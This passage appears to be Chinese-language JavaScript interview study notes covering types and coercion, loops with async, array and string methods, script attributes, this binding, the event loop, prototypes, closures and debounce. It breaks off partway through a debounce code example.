# 1. JS的数据类型以及隐式转换
6 种简单数据类型:undefined
、null
、boolean
、number
、string
和 symbol(ES6)
(表示独一无二的值,可以保证属性不重名)
1 种复杂的数据类型:Object
栈(stack):原始数据类型:String
,Boolean
,Number
,Null
,Undefined
占据空间小、大小固定
堆(heap):引用数据类型:Object(Array, Date, RegExp, Function)
占据空间大、大小不固定
# Boolean、Number、String 这三个是 Javascript 中的基本包装类型,也就是这三个其实是一个构造函数,他们是 Function 的实例,是引用类型
WARNING
需要注意的是 typeof null 返回为 object,因为特殊值 null 被认为是一个空的对象引用。undefined 值是派生自 null 值的,因此 ECMA-262 规定对它们的相等性测试要返回 true
console.log(undefined == null); //true
# 隐式转换
# 常见隐式转换场景
- 算术运算符
1 + "2" // "12" (字符串拼接)
1 - "2" // -1 (数字运算)
"3" * "4" // 12 (数字运算)
"5" / [] // Infinity ([]→0)
+"1.23" // 1.23 (一元+转数字)
2
3
4
5
- 比较运算符
"22" == 22 // true (字符串转数字)
null == undefined // true (特殊规则)
null == 0 // false (null只等于undefined)
[1] == 1 // true (数组调用valueOf()→toString()→"1"→1)
2
3
4
转换流程

ToPrimitive(对象到原始值的转换)的规则
valueOf()
方法:首先尝试调用对象的valueOf()
方法。如果返回一个原始值,则直接使用该值。toString()
方法:如果valueOf()
方法返回的不是原始值,则尝试调用toString()
方法。如果返回的是原始值,则使用该值。 如果上述两个方法都没有返回原始值,则会抛出一个TypeError
异常。
const obj = {
value: 42,
toString: function() {
return 'objString';
},
valueOf: function() {
return 42;
}
};
console.log(+obj); // 使用了 + 运算符,首先调用 valueOf() 方法,得到 42,因此输出为 42
console.log(obj + ''); // 使用了 + '',首先调用 valueOf() 方法,得到 42,然后转换为字符串 '42'
console.log(String(obj)); // 显式调用 String(),首先调用 toString() 方法,得到 'objString'
2
3
4
5
6
7
8
9
10
11
12
- 逻辑运算符
0 || "default" // "default" (0→false)
1 && "yes" // "yes" (短路运算)
!{} // false (对象→true→取反)
2
3
# 2. typeof 可以返回多少种值
let a = "d"; // string
let num = 3232; // number
let str = new String("dd"); // object
let un = undefined; // undefined
let bool = true; // boolean
function aa() {} // function
Symbol("sym"); // symbol (ES6)
42n; // "bigint" - 大整数(ES2020 新增)
2
3
4
5
6
7
8
# 3. JS数组循环
前置公共代码
let arr = [1, 2, 3, 4, 5, 6];
async function sleep(delay = 1000) {
return new Promise((resolve) => {
setTimeout(() => {
resolve();
}, delay);
});
}
// 为了验证是否真的异步
function getTime() {
let timestampInMilliseconds = Date.now();
let timestampInSeconds = Math.floor(timestampInMilliseconds / 1000);
return timestampInSeconds;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 1、普通for 循环
- ✅ await: 支持
- ✅ break: 支持,立即退出整个循环
- ✅ continue: 支持,跳过当前迭代进入下一次
- ✅ return: 只能在函数内使用,退出当前循环,并且会退出整个函数
async function normalFor() {
for (let i = 0; i < arr.length; i++) {
await sleep();
if (arr[i] === 3) {
continue;
}
if (arr[i] === 5) {
break; // 如果换成return,退出当前循环,并且会退出整个函数
}
console.log(arr[i], getTime());
}
console.log("last");
}
2
3
4
5
6
7
8
9
10
11
12
13
14
# 2、while 循环
- ✅ await: 支持
- ✅ break: 支持,立即退出整个循环
- ❌ continue: 不要使用,会陷入无尽循环
- ✅ return: 只能在函数内使用,退出当前循环,并且会退出整个函数
async function whileFor() {
let i = 0;
while (i < 6) {
await sleep();
if (i === 3) {
// continue; // 不要使用,会陷入无尽循环
}
if (i === 5) {
break; // 如果换成return,退出当前循环,并且会退出整个函数
}
i++;
console.log(i, getTime());
}
console.log("last");
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 3、forEach 循环
- ❌ await: 无效,不会等待异步完成
- ❌ break: 不支持(会报错)
- ❌ continue: 不支持(会报错)
- ✅ return: 仅退出当前回调,不会退出函数
async function eachFor() {
arr.forEach(async (item, i) => {
// await sleep(); 无效,不会等待异步完成
if (arr[i] === 3) {
// continue; // 不支持(会报错)
}
if (arr[i] === 5) {
// break; // 不支持(会报错)
return; // 仅退出当前回调,不会退出函数
}
console.log(arr[i], getTime());
});
console.log("last");
}
2
3
4
5
6
7
8
9
10
11
12
13
14
# 4、map 循环
- ❌ await: 无效,不会等待异步完成
- ❌ break: 不支持(会报错)
- ❌ continue: 不支持(会报错)
- return: 返回当前迭代结果,不会退出函数
async function mapFor() {
arr.map(async (item, i) => {
// await sleep(); 无效,不会等待异步完成
if (arr[i] === 3) {
// continue; // 不支持(会报错)
}
if (arr[i] === 5) {
// break; 不支持(会报错)
return; // 返回当前迭代结果,不会退出函数
}
console.log(arr[i], getTime());
});
console.log("last");
}
2
3
4
5
6
7
8
9
10
11
12
13
14
# 5、for...of 循环
- ✅ await: 支持
- ✅ break: 支持,立即退出整个循环
- ✅ continue: 支持,跳过当前迭代进入下一次
- ✅ return: 只能在函数内使用,退出当前循环,并且会退出整个函数
async function forOfFor() {
for (const [i, item] of arr.entries()) {
await sleep();
if (arr[i] === 3) {
continue;
}
if (arr[i] === 5) {
break; // 如果换成return,退出当前循环,并且会退出整个函数
}
console.log(arr[i], getTime());
}
console.log("last");
}
2
3
4
5
6
7
8
9
10
11
12
13
# 4. 数组高频操作总结
# 高频使用的API
array.splice(index, howmany, item1,.....,itemX)
howmany
可选。规定应该删除多少元素。必须是数字,但可以是 "0"。item1, ..., itemX
可选。要添加到数组的新元素- 返回的是含有被删除的元素的数组
- 这种方法会改变原始数组。
array.slice(start, end)
start
可选。规定从何处开始选取。 slice(-2) 表示提取原数组中的倒数第二个元素到最后一个元素(包含最后一个元素)end
可选。规定从何处结束选取。- 返回一个新的数组,包含从 start(包括该元素) 到 end (不包括该元素)
- 这种方法不会改变原始数组。
# 1.数组指定下标 删除元素 的方法
let arr = [1, 2, 3, 4, 5];
比如删除数组中第2个元素
- (1)splice()(直接修改原数组)
let arr = [1, 2, 3, 4, 5];
arr.splice(1, 1); // 从索引1开始删除1个元素
console.log(arr); // [1, 3, 4, 5]
2
3
- (2)filter()(创建新数组)
let arr = [1, 2, 3, 4, 5];
const newArr = arr.filter((_, index) => index !== 1); // 保留索引不为1的元素
console.log(newArr); // [1, 3, 4, 5]
2
3
- (3)扩展运算符 + slice()(创建新数组)
let arr = [1, 2, 3, 4, 5];
const newArr = [...arr.slice(0, 1), ...arr.slice(2)]; // 拼接索引0-1和2之后的部分
console.log(newArr); // [1, 3, 4, 5]
2
3
- (4)reduce()(创建新数组)
let arr = [1, 2, 3, 4, 5];
const newArr = arr.reduce((acc, cur, index) => {
if (index !== 1) acc.push(cur); // 跳过索引1
return acc;
}, []);
console.log(newArr); // [1, 3, 4, 5]
2
3
4
5
6
- (5)手动遍历,创建新数组(适用于学习算法)
let arr = [1, 2, 3, 4, 5];
const newArr = [];
for (let i = 0; i < arr.length; i++) {
if (i !== 1) newArr.push(arr[i]); // 跳过索引1
}
console.log(newArr); // [1, 3, 4, 5]
2
3
4
5
6
# 2.数组指定下标 添加元素 的方法
let arr = [1, 2, 3, 4, 5];
比如在数组中第3个元素之后,添加99,100
- (1)splice()(直接修改原数组)
let arr = [1, 2, 3, 4, 5];
arr.splice(3, 0, 99, 100); // 在第3个位置(索引2之后)插入
console.log(arr); // [1, 2, 3, 99, 100, 4, 5]
2
3
- (2)使用展开运算符(ES6)
let arr = [1, 2, 3, 4, 5];
arr = [...arr.slice(0, 3), 99, 100, ...arr.slice(3)];
console.log(arr); // [1, 2, 3, 99, 100, 4, 5]
2
3
# 3.数组删除最后一个元素方法
- (1)使用 slice()
let b = [1, 2, 3, 4, 5];
let result = b.slice(0, -1); // 从0开始到倒数第1个(不包含)
console.log(result); // [1, 2, 3, 4]
2
3
- (2)使用 pop()(会修改原数组)
let b = [1, 2, 3, 4, 5];
b.pop(); // 移除最后一个元素
console.log(b); // [1, 2, 3, 4]
2
3
- (3)设置 length 属性(会修改原数组)
let b = [1, 2, 3, 4, 5];
b.length = b.length - 1; // 将长度减1
console.log(b); // [1, 2, 3, 4]
2
3
- (4)使用 splice()(会修改原数组)
let b = [1, 2, 3, 4, 5];
b.splice(-1, 1); // 从倒数第1个位置开始删除1个元素
console.log(b); // [1, 2, 3, 4]
2
3
- (5)使用 filter()(不修改原数组)
let b = [1, 2, 3, 4, 5];
let result = b.filter((_, index) => index !== b.length - 1);
console.log(result); // [1, 2, 3, 4]
2
3
# 4.创建数组填充元素的方法
生成一个1-60数字的数组
- (1)使用Array.from()方法(ES6推荐)
Array.from(arrayLike[, mapFn[, thisArg]])
- arrayLike:必需,任何具有 length 属性且索引为整数的可迭代对象,或者是实现了 @@iterator 接口的对象。
- mapFn:可选,一个映射函数,对每个元素调用该函数并将其结果收集到新数组中。
- thisArg:可选,执行映射函数时的上下文对象。
const numbers = Array.from({length: 60}, (_, i) => i + 1);
// 结果: [1, 2, 3, ..., 60]
2
- (2)使用展开运算符和keys()方法
const numbers = [...Array(60).keys()].map(i => i + 1);
// 结果: [1, 2, 3, ..., 60]
// Array(60) // 创建一个长度为60的空数组(所有元素都是empty)
// .keys() // 返回一个包含数组索引的迭代器对象
2
3
4
- (3)使用fill()和map()组合
const numbers = Array(60).fill().map((_, i) => i + 1);
// 结果: [1, 2, 3, ..., 60]
2
- (4)使用Array.apply()(较老的方法)
Array.apply(null, {length: n})
- null是thisArg参数,表示不改变Array构造函数的this指向;
- {length: n}是一个类数组对象,其length属性值将被用作新数组的长度。
const numbers = Array.apply(null, {length: 60}).map((_, i) => i + 1);
// 结果: [1, 2, 3, ..., 60]
2
- (5)传统for循环方式
const numbers = [];
for (let i = 1; i <= 60; i++) {
numbers.push(i);
}
// 结果: [1, 2, 3, ..., 60]
2
3
4
5
# 性能比较
对于生成1-60这样的小数组,性能差异可以忽略不计。但对于更大的数组:
- Array.from() - 性能最好,语法最简洁
- 展开运算符 - 语法简洁但创建临时数组
- fill+map - 需要额外fill步骤
- Array.apply - 最不推荐,已过时
- for循环 - 传统但可靠
# 5.数组元素去重
# 1. 使用 Set(ES6 最简单方法)
const arr = [1, 2, 2, 3, 4, 4, 5];
const uniqueArr = [...new Set(arr)];
console.log(uniqueArr); // [1, 2, 3, 4, 5]
2
3
const obj = {id:1};
console.log([...new Set([obj, obj])]); // [{id:1}] (相同引用)
console.log([...new Set([{id:1}, {id:1}])]); // [{id:1}, {id:1}] (不同引用)
2
3
- 优点:
- 代码简洁
- 性能好(现代浏览器优化良好)
- 缺点:
- 无法区分对象引用(每个对象都被视为唯一)
- IE11 及以下不支持 Set
# 2. 使用 filter + indexOf
const arr = [1, 2, 2, 3, 4, 4, 5];
const uniqueArr = arr.filter((item, index) => arr.indexOf(item) === index);
console.log(uniqueArr); // [1, 2, 3, 4, 5]
2
3
- 优点:
- 兼容性好(ES5)
- 代码直观
- 缺点:
- 时间复杂度 O(n²),大数组性能差
- 同样无法区分对象内容
NaN
去重 无法识别
const arr = [NaN, NaN];
console.log([...new Set(arr)]); // [NaN] (Set能正确处理NaN)
console.log(arr.filter((v, i, a) => a.indexOf(v) === i)); // [NaN, NaN] (indexOf无法识别NaN)
2
3
# 3. 使用 reduce
const arr = [1, 2, 2, 3, 4, 4, 5];
const uniqueArr = arr.reduce((acc, curr) => {
return acc.includes(curr) ? acc : [...acc, curr];
}, []);
console.log(uniqueArr); // [1, 2, 3, 4, 5]
2
3
4
5
- 优点:
- 函数式编程风格
- 可读性好
- 缺点:
- 每次迭代都创建新数组,性能较差
# 4. 使用 for 循环(传统方法)
function unique(arr) {
const result = [];
for (let i = 0; i < arr.length; i++) {
if (result.indexOf(arr[i]) === -1) {
result.push(arr[i]);
}
}
return result;
}
const arr = [1, 2, 2, 3, 4, 4, 5];
console.log(unique(arr)); // [1, 2, 3, 4, 5]
2
3
4
5
6
7
8
9
10
11
12
- 优点:
- 兼容性最好
- 容易理解
- 缺点:
- 性能一般
# 5. 字符串高频操作总结
# 高频使用的API
- str.slice(start, end) 有点类似数组的slice
start
必须。 要抽取的片断的起始下标,第一个字符位置为 0。如果为负数,则从尾部开始截取。end
可选。规定从何处结束选取。- 以新的字符串返回被提取的部分
- str.trim()
- 返回移除头尾空格的字符串
- str.substr(start, lenght)
start
必须。要抽取的子串的起始下标。必须是数值。如果是负数,那么该参数声明从字符串的尾部开始算起的位置。length
可选。子串中的字符数。必须是数值。
- str.substring(from, to) 有点类似数组的slice
from
必须。一个非负的整数,规定要提取的子串的第一个字符在 string Object 中的位置。to
可选。一个非负的整数,比要提取的子串的最后一个字符在 string Object 中的位置多 1。
# str.slice 和 str.substring 对比
特性 | str.substring(start, end) | str.substring(from, to) |
---|---|---|
负数参数 | 支持(从字符串末尾计算位置) | 负数被视为 0 |
参数顺序处理 | 不自动交换参数顺序 | 自动交换 start > end 的参数 |
返回值 | 当参数无效时返回空字符串 "" | 自动调整参数为有效范围 |
# 1.字符串替换
const str = 'aaa.bbb.ccc';
// replace() - 替换第一个匹配项
console.log(str.replace('aaa.', '')); // 'bbb.ccc'
2
3
4
# 2.去除空白字符
const str = ' Hello World ';
console.log(str.trim()); // 'Hello World'
2
# 3.字符串分割成数组
const str = 'apple,orange,banana';
// split() - 分割为数组
console.log(str.split(',')); // ['apple', 'orange', 'banana']
// 限制分割次数
console.log('a-b-c-d'.split('-', 2)); // ['a', 'b']
2
3
4
5
6
7
# 6. script标签的属性有哪些
# 1. src(源地址)
作用:指定外部脚本的 URL
<script src="app.js">
标签内的代码会被忽略
</script>
2
3
- 注意:
- 使用后 标签内的代码会被忽略
- 遵循同源策略,可配置 CORS
# 2. type(类型)
- 作用:定义脚本 MIME 类型
- 常用值:
- text/javascript(默认)
- module(ES6 模块)
- application/json(数据块)
<script type="module" src="app.mjs"></script>
# 3. async(异步加载)和 defer(延迟执行)
script:会阻碍 HTML 解析,只有下载好并执行完脚本才会继续解析 HTML。
async script:异步下载(不阻塞HTML解析),下载成功立马执行,有可能会阻断 HTML 的解析。
defer script:异步下载(不阻塞HTML解析),HTML解析完成之后再按照顺序执行脚本。

- defer 和 async 都是只适用于外部的脚本文件,都是用来告诉浏览器立即下载文件,但是延迟执行
- 这些脚本文件会等到 body 的内容执行完才执行
在 HTML5 的规范中,defer 属性要求脚本是按照出现的先后顺序执行,但是在现实中,defer 属性的脚本不一定会按照顺序执行
而 async 属性的脚本执行的顺序并不确定
<script async src="1.js"></script> <!-- 可能最后执行 -->
<script defer src="2.js"></script> <!-- 保证第二个执行 -->
<script src="3.js"></script> <!-- 最先执行 -->
<script defer src="4.js"></script> <!-- 保证最后执行 -->
2
3
4
# 4. crossorigin(跨源设置)
- 作用:控制跨域请求的凭据模式
- 取值:
- anonymous:不发送凭据(默认)
- use-credentials:发送凭据
<script src="https://cdn.com/lib.js" crossorigin></script>
# 5. fetchpriority(加载优先级)
- 作用:提示浏览器加载优先级
- 取值:
- high
- low
- auto(默认)
<script src="critical.js" fetchpriority="high"></script>
# 7. this 指向
# 普通函数与箭头函数的 this 相关对比
- 普通函数:this指向函数运行时所在的对象,也就是说谁调用就指向谁,没有被对象调用的函数默认指向window
- 箭头函数:没有 this,它会从自己的作用域链的上一层继承 this,指向定义时所在的对象
特性 | 普通函数 | 箭头函数 |
---|---|---|
this 绑定时机 | 运行时动态绑定 | 定义时静态绑定 |
this 指向 | 由调用方式决定 | 继承外层作用域的 this |
能否改变 this | 可通过 call/apply/bind 改变 | 不可改变 |
arguments 对象 | 有 | 无 |
构造函数 | 可作为构造函数 | 不能作为构造函数 |
prototype(显式原型) | 有 | 无 |
# 1. 默认绑定(独立函数调用)
普通函数
function normalFunc() {
console.log('普通函数 this:', this); // 指向全局对象
}
normalFunc();
// 浏览器中输出: Window {...} (非严格模式)
// 严格模式输出: undefined
2
3
4
5
6
7
箭头函数
const arrowFunc = () => {
console.log('箭头函数 this:', this); // 继承定义时的 this
};
arrowFunc();
// 输出取决于定义时的上下文
// 如果定义在全局,输出: Window {...}
2
3
4
5
6
7
# 2. 隐式绑定(方法调用)
普通函数
const obj = {
name: 'Alice',
normalMethod: function() {
console.log('普通方法 this:', this); // 指向调用对象
}
};
obj.normalMethod(); // 情况1:作为对象方法调用
// 输出: {name: "Alice", normalMethod: ƒ}
const greet = obj.normalMethod;
greet(); // 情况2:赋值给变量后直接调用
// 输出: Window {...} 函数赋值导致 this 丢失
2
3
4
5
6
7
8
9
10
11
12
箭头函数
const obj = {
name: 'Alice',
arrowMethod: () => {
console.log('箭头方法 this:', this); // 继承定义时的 this
}
};
obj.arrowMethod();
// 输出: Window {...} (因为定义在全局)
const greet2 = obj.arrowMethod;
greet2();
// 输出: Window {...} (因为定义在全局)
2
3
4
5
6
7
8
9
10
11
12
# 3. 显式绑定(call/apply/bind)
普通函数
function normalGreet() {
console.log(`普通函数 this.name: ${this.name}`);
}
const person = { name: 'Bob' };
normalGreet.call(person);
// 输出: "普通函数 this.name: Bob"
2
3
4
5
6
7
8
箭头函数
const arrowGreet = () => {
console.log(`箭头函数 this.name: ${this.name}`);
};
const person = { name: 'Bob' };
arrowGreet.call(person);
// 输出: "箭头函数 this.name: undefined" (无法改变箭头函数的 this)
2
3
4
5
6
7
8
# 4. 构造函数调用
普通函数
function NormalPerson(name) {
this.name = name;
console.log('构造函数 this:', this);
}
const alice = new NormalPerson('Alice');
// 输出: NormalPerson {name: "Alice"}
2
3
4
5
6
7
箭头函数
const ArrowPerson = (name) => {
this.name = name; // 报错
};
const bob = new ArrowPerson('Bob');
// TypeError: ArrowPerson is not a constructor
2
3
4
5
6
# 5. 回调函数中的表现
普通函数
const obj = {
name: 'Charlie',
start: function() {
setTimeout(function() {
console.log('普通回调 this:', this); // 指向全局
}, 100);
}
};
obj.start();
// 输出: Window {...} 回调函数默认绑定到全局
2
3
4
5
6
7
8
9
10
11
箭头函数
const obj = {
name: 'Charlie',
start: function() {
setTimeout(() => {
console.log('箭头回调 this:', this); // 继承 start 的 this
}, 100);
}
};
obj.start();
// 输出: {name: "Charlie", start: ƒ}
2
3
4
5
6
7
8
9
10
11
# 6. 类方法中的表现
普通函数
class NormalClass {
constructor() { this.value = 42 }
showValue() {
console.log('普通类方法 this.value:', this.value);
}
}
const instance = new NormalClass();
instance.showValue(); // 输出: "普通类方法 this.value: 42"
const { showValue } = instance;
showValue(); // 报错: Cannot read property 'value' of undefined
2
3
4
5
6
7
8
9
10
11
12
13
箭头函数
class ArrowClass {
constructor() { this.value = 42 }
showValue = () => {
console.log('箭头类方法 this.value:', this.value);
}
}
const arrowInstance = new ArrowClass();
arrowInstance.showValue(); // 输出: "箭头类方法 this.value: 42"
const { showValue } = arrowInstance;
showValue(); // 仍然输出: "箭头类方法 this.value: 42"
2
3
4
5
6
7
8
9
10
11
12
13
# 7. 关键区别总结表
场景 | 普通函数中的 this | 箭头函数中的 this |
---|---|---|
独立调用 | 全局对象/undefined | 继承定义时的 this |
对象方法 | 调用该方法的对象 | 继承定义时的 this |
call/apply/bind | 可改变 this 指向 | 不可改变 this 指向 |
构造函数 | 指向新创建的实例 | 不能作为构造函数 |
回调函数 | 通常指向全局或 undefined | 继承外层函数的 this |
类方法 | 指向实例(但可能丢失绑定) | 始终绑定到实例 |
# 8. React 类组件中为什么要 bind this?
class MyComponent extends React.Component {
constructor(props) {
super(props);
this.handleClick = this.handleClick.bind(this);
}
handleClick() {
console.log(this); // 确保指向组件实例
}
}
2
3
4
5
6
7
8
9
10
事件处理函数作为回调传递时会丢失 this
绑定
# 实际应用建议
- 使用普通函数:
- 需要动态
this
的场景(如对象方法) - 需要作为构造函数使用的函数
- 使用箭头函数:
- 需要保持
this
不变的场景(如回调函数) - 类中需要自动绑定实例的方法
- 需要继承外层
this
的函数
- 避免混用陷阱:
const obj = {
name: 'Dave',
// ❌ 错误:箭头函数作为对象方法
badMethod: () => console.log(this.name), // undefined
// ✅ 正确:普通函数作为方法
goodMethod: function() {
// ✅ 正确:箭头函数嵌套使用
setTimeout(() => console.log(this.name), 100); // "Dave"
}
};
2
3
4
5
6
7
8
9
10
11
# 8. 事件执行机制
javascript 是一门单线程语言
JS 在执行的过程中会产生执行环境,这些执行环境会被按照顺序的加入到执行栈中
同步和异步任务分别进入不同的执行"场所",同步的进入主线程,异步的代码,会被挂起并加入到 Task(有多种 task) 队列中除了广义的同步任务和异步任务,还包括有更加精确的微任务和宏任务
微任务包括 process.nextTick,promise,Object.observe,MutationObserver
宏任务包括 script,setTimeout,setInterval,setImmediate,I/O,UI rendering为什么需要微任务:是为了给紧急任务一个插队的机会
当前宏任务中的 JavaScript 快执行完成时,也就在 JavaScript 引擎准备退出全局执行上下文并清空调用栈的时候,JavaScript 引擎会检查全局执行上下文中的微任务队列,然后按照顺序执行队列中的微任务。
所以正确的一次 Event loop 顺序是这样的
1.执行全局同步代码
console.log('同步代码开始');
2.处理微任务队列
- Promise 回调
- MutationObserver 回调
- process.nextTick(Node.js)
3.渲染更新(如果需要)
- 执行 requestAnimationFrame 回调
- 计算样式和布局
- 实际绘制到屏幕
4.处理宏任务队列
- setTimeout/setInterval
- I/O 操作回调
- UI 交互事件(点击、滚动等)
- postMessage
5.重复循环
console.log('a');
new Promise(resolve => {
console.log('b')
resolve()
}).then(() => {
console.log('c')
setTimeout(() => {
console.log('d')
}, 0)
})
setTimeout(() => {
console.log('e')
new Promise(resolve => {
console.log('f')
resolve()
}).then(() => {
console.log('g')
})
}, 100)
setTimeout(() => {
console.log('h')
new Promise(resolve => {
resolve()
}).then(() => {
console.log('i')
})
console.log('j')
}, 0)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
- 上述代码执行结果:a b c h j i d e f g
1.打印a
2.promise立即执行,打印b
3.promise.then推入微任务队列
4.setTimeout推入宏任务队列
5.整段代码执行完毕,开始执行微任务,打印c,遇到setTimeout推入宏任务队列排队等待执行
6.没有可执行的微任务开始执行宏任务,定时器按照延迟时间排队执行
7.打印h j,promise.then推入微任务队列有
8.可执行的微任务,打印i,继续执行宏任务,打印d
9.执行延迟为100的宏任务,打印e f,执行微任务打印g,所有任务执行完毕
# 常见误区解析
# 1. setTimeout(fn, 0) 不是立即执行
- 实际是最快也要等待当前任务和微任务完成
- 最低延迟通常为4ms(浏览器规范限制)
# 2. Promise.resolve() 会同步返回一个已解决的 Promise 对象,但它的 .then 回调仍然是异步的
const p = Promise.resolve(42);
p.then(console.log); // 仍然是微任务
console.log(1);
// 输出顺序:1 → 42
2
3
4
# 3. JS单线程,为什么发送请求不会阻塞页面
虽然是单线程的,但浏览器环境提供了 异步非阻塞机制,使得发送网络请求不会阻塞页面渲染和交互。
虽然 JS 是单线程执行的,但浏览器本身是多线程的,关键线程包括:
- JS 主线程:执行 JS 代码(如 DOM 操作、计算等)
- 网络请求线程(如 XMLHttpRequest、fetch)
- 定时器线程(setTimeout、setInterval)
- GUI 渲染线程(负责页面绘制)
- 事件触发线程(处理用户交互事件)
(1) 网络请求由浏览器其他线程处理
fetch / XMLHttpRequest 交给 网络请求线程,主线程继续执行后续代码。
只有 回调函数(如 then)会回到主线程执行。(2) 渲染线程和 JS 线程互斥但交替运行
浏览器每 16.6ms(60fps)会 渲染一次页面。
如果 JS 主线程长时间占用(如 while(true)),页面会卡死。
但网络请求 不占用主线程,所以不会阻塞渲染。
# 9. 原型和原型链
# prototype 属性:
这是一个显式原型属性,只有函数才拥有该属性。
# proto 属性:
这是每个对象都有的隐式原型属性,指向了创建该对象的构造函数的原型。
# 什么是原型链:
- 原型链:实例与原型之间的链接
由于 proto
是任何对象都有的属性,在寻找对象方法的时候,会先寻找自身的方法。如果没有,就会通过proto
去寻找该构造函数原型上的方法。如果没有,就会进一步寻找 Object
原型上的方法,直到最后指向null
。像这样通过proto
连起来的链条寻找 prototype
就叫原型链。
// 1. 创建构造函数
function Animal(name) {
this.name = name;
}
// 2. 在Animal的原型上添加方法
Animal.prototype.eat = function() {
console.log(`${this.name} is eating.`);
};
// 3. 创建子类构造函数
function Dog(name, breed) {
Animal.call(this, name); // 调用父类构造函数
this.breed = breed;
}
// 4. 设置原型链继承
Dog.prototype = Object.create(Animal.prototype);
Dog.prototype.constructor = Dog;
// 5. 在Dog的原型上添加方法
Dog.prototype.bark = function() {
console.log(`${this.name} the ${this.breed} is barking!`);
};
// 6. 创建实例
const myDog = new Dog('Buddy', 'Golden Retriever');
// 7. 添加实例自身的方法
myDog.play = function() {
console.log(`${this.name} is playing fetch!`);
};
// ===== 原型链查找演示 =====
// 情况1: 调用实例自身的方法
myDog.play(); // 查找过程: myDog.play() → 直接找到,输出 "Buddy is playing fetch!"
// 情况2: 调用Dog原型上的方法
myDog.bark(); // 查找过程:
// 1. myDog自身没有bark()
// 2. 通过myDog.__proto__找到Dog.prototype.bark()
// 输出 "Buddy the Golden Retriever is barking!"
// 情况3: 调用Animal原型上的方法
myDog.eat(); // 查找过程:
// 1. myDog自身没有eat()
// 2. myDog.__proto__ (Dog.prototype)没有eat()
// 3. myDog.__proto__.__proto__ (Animal.prototype)找到eat()
// 输出 "Buddy is eating."
// 情况4: 调用Object原型上的方法
console.log(myDog.toString()); // 查找过程:
// 1. myDog自身没有toString()
// 2. Dog.prototype没有toString()
// 3. Animal.prototype没有toString()
// 4. Object.prototype找到toString()
// 输出 "[object Object]"
// 情况5: 查找不存在的属性
console.log(myDog.someNonExistMethod); // 查找过程:
// 1. myDog自身没有
// 2. Dog.prototype没有
// 3. Animal.prototype没有
// 4. Object.prototype没有
// 最终找到null,返回undefined
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

# 10. 闭包
- 1、概念:有权访问另一个函数作用域和变量的函数,创建闭包最简单的方式就是在一个函数内部创建另一个函数。
- 核心特点
- 函数嵌套:内层函数引用外层函数的变量。
- 变量持久化:外层函数执行后,其变量仍被内层函数持有(不被垃圾回收)
function outer2() {
var a = 1;
function inner2() {
console.log(a); // 访问外层变量
}
return inner2; // 返回 inner2 函数(未直接调用)
}
const closureFunc = outer2(); // outer2 执行完毕,但 a 仍被 inner2 引用
closureFunc(); // 1
2
3
4
5
6
7
8
9
- 2、好处:由于可以读取函数内部的变量,如果希望一个变量常驻于内存中又可全局访问,同时又想避免全局变量的污染,此时使用闭包就是一种恰当的方式
- 3、缺点:但正是因为函数内部变量被外部所引用,不会被垃圾回收,就会造成常驻内存,使用过多容易造成内存泄漏
- 4、如何销毁闭包:解除对外部函数的引用(如 closureFunc = null)
# 函数嵌套不一定是闭包,看以下2个例子
- 示例 1:f1(非闭包)
function f1() {
var n = 999;
// 没有使用var关键字,nAdd是一个全局变量,nAdd的值是一个匿名函数,而这个匿名函数本身也是一个闭包
nAdd = function () { n += 1};
function f2() { console.log(n) }
f2();
}
f1(); // 999
nAdd();
f1(); // 999
2
3
4
5
6
7
8
9
10
11
- 执行过程:
- 1.调用 f1() → 创建变量 n
- 2.调用 f2() → 打印 n
- 3.f1() 执行完毕 → n 被销毁
- 关键问题:
- f2 仅在 f1 执行期间被调用,
未超出 f1 的作用域
,因此 n 未被持久化。
- f2 仅在 f1 执行期间被调用,
- 示例 2:f3(是闭包)
function f3() {
var n = 999;
// 没有使用var关键字,nAdd是一个全局变量,nAdd的值是一个匿名函数,而这个匿名函数本身也是一个闭包
nAdd = function () { n += 1 };
function f4() { console.log(n) }
return f4; // 返回 f4 函数(未直接调用)
}
var res = f3(); // f3 执行完毕,但 n 仍被 f4 引用
res(); // 999
nAdd();
res(); // 1000
2
3
4
5
6
7
8
9
10
11
12
执行过程:
- 1.调用 f3() → 创建变量 n。
- 2.返回 f4 函数(未直接调用)。
- 3.f3() 执行完毕,但 n 被 f4 引用,未被销毁。
- 4.后续通过 res() 调用 f4 时,仍能访问 n。
关键点:
- f4 被返回并在外层作用域中调用,超越了 f3 的原始作用域,此时 n 被闭包保留。
# 项目中闭包的应用场景
- (1) 数据私有化(模块模式)
避免全局变量污染,隐藏内部实现细节。
const counterModule = (function() {
let count = 0; // 私有变量
return {
increment() {
count++;
console.log(count);
},
reset() {
count = 0;
}
};
})();
counterModule.increment(); // 1(外部无法直接修改 count)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
- 应用:
- Vue/React 组件状态管理
- 工具库封装(如 Lodash 的模块化函数)
- (2) 防抖(Debounce)与节流(Throttle)
高频事件(如滚动、输入)需要性能优化。
function debounce(fn, delay) {
let timer;
return function(...args) {
clearTimeout(timer); // 闭包持有 timer
timer = setTimeout(() => fn.apply(this, args), delay);
};
}
const handleResize = debounce(() => console.log('Resized!'), 300);
window.addEventListener('resize', handleResize);
2
3
4
5
6
7
8
9
10
- 应用:
- 搜索框输入联想
- 窗口大小调整事件
# 11. 节流和防抖
- 防抖和节流的作用都是防止函数多次调用
- 防抖:在事件被触发后,等待一段时间再执行回调。如果在这段时间内事件又被触发,则重新计时。
- 节流:在一定时间间隔内,无论事件触发多少次,只执行一次回调。
特性 | 节流 (Throttle) | 防抖 (Debounce) |
---|---|---|
定义 | 固定时间间隔内只执行一次 | 事件停止触发后延迟执行 |
适用场景 | 滚动、窗口调整、鼠标移动等高频事件 | 搜索输入、表单验证等连续触发事件 |
# 手写防抖
function debounce(fn, delay) {
let timer = null;
return function(...args) {
// 每次触发都清除之前的定时器
clearTimeout(timer);
// 设置新的定时器
timer = setTimeout(() => {
fn.apply(this, args);
}, delay);
};
}
2
3
4
5
6
7
8
9
10
11
12
13
# 防抖-立即执行版本
function debounce(fn, delay, immediate = false) {
let timer = null;
let isInvoked = false;
return function(...args) {
clearTimeout(timer);
if (immediate && !isInvoked) {
fn.apply(this, args);
isInvoked = true;
}
timer = setTimeout(() => {
if (!immediate) {
